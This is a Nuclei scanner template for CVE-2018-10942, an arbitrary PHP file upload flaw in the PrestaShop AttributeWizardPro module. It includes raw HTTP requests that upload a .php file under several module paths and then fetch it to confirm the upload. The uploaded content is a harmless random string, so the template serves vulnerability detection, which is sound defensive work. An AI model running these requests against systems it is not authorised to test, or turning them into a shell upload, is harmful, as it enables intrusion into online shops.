id: CVE-2018-10942

info:
  name: Prestashop AttributeWizardPro Module - Arbitrary File Upload
  author: MaStErChO
  severity: critical
  description: |
    In the Attribute Wizard addon 1.6.9 for PrestaShop allows remote attackers to execute arbitrary code by uploading a php file.
  reference:
    - https://webcache.googleusercontent.com/search?q=cache:y0TbS2LsRfoJ:www.vfocus.net/art/20160629/12773.html&hl=en&gl=en
    - https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10942
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-10942
    cwe-id: CWE-434
    epss-score: 0.18241
    epss-percentile: 0.96178
    cpe: cpe:2.3:a:attribute_wizard_project:attribute_wizard:1.6.9:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 8
    vendor: attribute_wizard_project
    product: attribute_wizard
    framework: prestashop
  tags: prestashop,attributewizardpro,intrusive,file-upload
variables:
  filename: '{{rand_base(7, "abc")}}'

http:
  - raw:
      - |
        POST /modules/{{paths}}/file_upload.php  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=ba1f796d0aa2482e9c51c81ae6087818

        --ba1f796d0aa2482e9c51c81ae6087818
        Content-Disposition: form-data; name="userfile"; filename="{{filename}}.php"
        Content-Type: multipart/form-data

        {{randstr}}
        --ba1f796d0aa2482e9c51c81ae6087818--

      - |
        GET /modules/{{paths}}/file_uploads/{{file}}  HTTP/1.1
        Host: {{Hostname}}

    payloads:
      paths:
        - 'attributewizardpro'
        - '1attributewizardpro'
        - 'attributewizardpro.OLD'
        - 'attributewizardpro_x'

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '{{filename}}'

      - type: word
        part: body_2
        words:
          - '{{randstr}}'

    extractors:
      - type: regex
        name: file
        part: body_1
        internal: true
        group: 1
        regex:
          - '(.*?)\|\|\|\|'
# digest: 4b0a00483046022100aab26195eec27b220d615f8c9e60fbab9ae457867d1c4209eb5ae8cacfb3ca18022100a4cb00aa3b61687473a5a2627c73a4958334b53104f383a1c2e6513d003484a1:922c64590222798bb761d5b6d8e72950